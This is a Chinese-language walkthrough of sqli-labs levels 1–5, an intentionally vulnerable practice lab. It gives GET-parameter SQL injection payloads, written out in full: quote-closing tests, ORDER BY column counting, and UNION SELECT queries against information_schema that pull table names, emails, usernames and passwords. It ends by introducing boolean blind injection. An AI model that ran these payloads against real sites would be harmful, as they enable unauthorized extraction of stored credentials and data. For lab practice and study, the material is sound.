Less-1_GET-Error based-Single quotes-String
题目
分析
根据标题“GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)”可以猜到本题的闭合方法为单引号闭合,但保险起见咱还是走一遍流程。
根据页面给出的提示信息“Please input the ID as parameter with numeric value(请输入 ID 作为数值参数)”,经多次尝试推测出变量名为 id,且 id 值的范围为 1-8。
固定 id 值为 1,尝试 '
"
)
')
")
进行闭合,结果仅 '
和 ')
出现报错,根据两次报错内容判断闭合方式为单引号闭合。
使用 order by
查询当前表的字段数,由二分法从 10 开始尝试至 3,发现 order by 4
时页面显示报错信息,但 order by 3
时页面正常显示。判断字段数为 3。
接下来的步骤就是查数据库名-查表名-查列名(字段名)-查字段值,这里使用联合查询 union select
查找回显点。传入 ?id=' union select 1,2,3--+
得到 2、3 的位置为回显点。
我们使用 2 位置作为回显点,?id=' union select 1,database(),3--+
得到数据库名 secerity
。
继续查询数据库中的表名,传入 ?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+
,获得所有表名。
任选一个表查看其列名,这里咱看看 emails 表:?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="emails"),3--+
,显然该表中存在俩列,分别是 id
和 email_id
。
最后查看字段值,这里选择 email_id
列进行查看,传入 ?id=' union select 1,(select email_id from emails),3--+
回显 Subquery returns more than 1 row
,于是咱还是使用 group_concat()
将多行结果作一行输出。传入 ?id=' union select 1,(select group_concat(email_id) from emails),3--+
得到回显。
同理可查看其他字段的值。
知识点与参考
- 在添加注释符的时候发现使用
#
注释失败,但使用--+
却成功了,因为在 get 请求中,#
符号用于指导浏览器动作,是位置标识符,该字符不会被传输到服务器端。具体原因参考 SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master-Dooz-CSDN - 查表中某字段的值,一般顺序为:查数据库名-查表名-查列名(字段名)-查字段值
查数据库名:database()
查表名:select table_name from information_schema.tables where table_schema="数据库名"
查列名:select column_name from information_schema.columns where table_name="表名"
查值:select 列名 from 表名
- 查询数据库时传入的闭合前的值需不存在返回值,即可在
'
前不传参数或传入空值,否则可能导致查询数据库的结果无法回显。 - 若查询结果存在多行,可使用
group_concat()
函数将多行结果以,
分隔开按一行输出。 - 判断字符型注入与数字型注入可参考 [如何判断是字符型注入还是数字型注入-
二潘-简书](http://82d8ff99-bdd3-42bc-bff7-40bc3d5b740e.node5.buuoj.cn/Less-2/?id=1 or 1=1--+)
Less-2_GET-Error based-Intiger based
题目
分析
标题传递了两个信息:
- GET 传参
- 基于整数
猜测本题参数为数值型。
首先判断注入类型。传入 ?id=1 and 1=1
,页面正常显示。
传入 ?id=1 and 1=2
,页面无回显,确实是数字型注入。
之后的步骤就与 Less-1 无异了。
使用 order by
多次尝试,得出字段数为 3。
将 id 值改为 -1,联合查询找回显点,确定回显点位于 2,3。
将位置 2 作为回显点,查数据库名。
查表名。
这次查个 users 表的列名。
一次性查看 username 列和 password 列的值。
Less-3_GET-Error based-Single quotes with twist-string
题目
分析
题目的大意为“基于错误的 GET 单引号变形字符型注入”。
与 Less-2 一样,先判断闭合方式。传入 ?id=1' and '1'='1
时页面正常显示,传入 ?id=1' and '1'='2
时无回显,初步判断为 '
闭合的字符型注入。
但在传入 ?id=1' and '1'='1'--+
时出现报错,在传入 ?id=1' and '1'='1')--+
时正常回显,判断闭合符号不止 '
,实际为 ')
。
接下来的步骤与 Less-1 和 Less-2 相同。order by
判断列数。
更改无效 id 值后联合查询判断回显点。
查数据库名。
查表名。
查 users 表的列名。
查 username 和 password 列的值。
知识点与参考
- 字符型注入的常见闭合方式有
'
"
)
')
")
五种,其中')
")
中的单双引号仅包裹注入参数中的数字,即id=('1' and '1'='1')
而非id=('1') and ('1')=('1')
Less-4_GET-Error based-Double Quotes-String
题目
分析
标题大意“基于错误的 GET 双引号字符型注入”。猜测该题使用 "
闭合输入参数。
与 Less-3 同理,传入 ?id=1" and "1"="1
正常回显,传入 ?id=1" and "1"="2
无回显。
保险起见检查一下是 "
闭合还是 ")
闭合。传入 ?id=1" and "1"="1"--+
报错,传入 ?id=1" and "1"="1")--+
正常回显。判断闭合方式为 ")
接下来的步骤和前几题一个样。
查字段数。
查回显点。
查数据库名。
查表名。
查 users 表的列名。
查 username 和 password 列的值。
Less-5_GET-Double Injection-Single Quotes-String
题目
分析
标题大意“双注入GET单引号字符型注入”,双注入指代不明,但可以猜测是单引号闭合的注入。
先尝试使用单引号闭合,发现存在过滤。
依次传入 ?id=1 and 1=1--+
和 ?id=1 and 1=1--+
发现回显同上;传入 ?id=1' and '1'='1'--+
回显同上,传入 ?id=1' and '1'='2'--+
无回显;传入 ?id=1' and '1'='1')--+
出现报错,判断为 '
闭合的字符型注入。
因为存在过滤,咱无法通过回显内容获得信息,这里我们采用布尔盲注,常用的函数有 length()
ascii()
substr()
。